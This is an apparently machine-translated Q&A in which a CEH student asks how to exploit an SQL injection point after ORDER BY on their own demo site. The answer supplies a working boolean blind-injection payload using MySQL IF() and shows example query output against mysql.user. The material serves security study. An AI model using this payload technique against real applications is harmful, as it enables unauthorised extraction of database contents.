0

私のデモ Web サイトが SQL インジェクションに対して脆弱であることがわかりました (私は現在 CEH を行っています)。

発見された注入ポイントは次のとおりです。

SELECT column_1,column_2,column_3 from table_1 where column_4='3' order by id [*INJECTION POINT FOUND HERE*]

今、私が発見したこの注入ポイントを悪用するのに役立つ何かを作成する必要があります. 私の知る限り、 UNION SELECT は の後に機能しませんORDER BY。ただし、ブラインドSQLインジェクションは以下に示すように機能する可能性があると思います

SELECT column_1,column_2,column_3 from table_1 where column_4='3' order by id [if 1=1 then 1,blank]

インジェクション ポイントに 1 がポストされた場合、クエリはエラーを返しますが、空白のままにしておくと、クエリが実行されます...したがって、ブラインド SQL インジェクションが機能します

SQLでの使用方法がわからないので、誰かがIF THEN ELSEinでクエリを作成するのを手伝ってくれませんか..SQLIF THEN ELSE

これを注入しようとしましたが、機能しません

(IF (1=2) なら 1 endif)

完全なクエリ

SELECT  column_1, column_2, column_3  from `table_1`  WHERE   `column_4` = '[*available injection point*]'  order by id [*available injection point*] ASC  limit [*available injection point*],[*available injection point*]
4

2 に答える 2

0

idが結果セット内で一意ではなく、値が ごとに一意である別の列がある場合は、id次の操作を実行できます。

  1. 一意の ID 値ごとの順序を識別します(必要に応じて onとのみ, unique_per_id異なる必要があります)。iddescid
  2. ブールベースのブラインド インジェクションが可能, IF(1=1,unique_per_id,id)です。

例:

mysql> select host,user from mysql.user order by user;
+-----------+------------------+
| host      | user             |
+-----------+------------------+
| localhost | root             |
| 127.0.0.1 | root             |
+-----------+------------------+
2 rows in set (0.00 sec)

mysql> select host,user from mysql.user order by user,host;
+-----------+------------------+
| host      | user             |
+-----------+------------------+
| 127.0.0.1 | root             |
| localhost | root             |
+-----------+------------------+
2 rows in set (0.00 sec)

mysql> select host,user from mysql.user order by user,if(1=1,host,user);
+-----------+------------------+
| host      | user             |
+-----------+------------------+
| 127.0.0.1 | root             |
| localhost | root             |
+-----------+------------------+
2 rows in set (0.00 sec)

mysql> select host,user from mysql.user order by user,if(1=0,host,user);
+-----------+------------------+
| host      | user             |
+-----------+------------------+
| localhost | root             |
| 127.0.0.1 | root             |
+-----------+------------------+
2 rows in set (0.00 sec)

したがって、結果セットの順序が just (2 番目のクエリ)if(expr,host,user)の順序と同じである場合は常に、条件は true でした。hostexpr

于 2013-06-22T18:15:28.270 に答える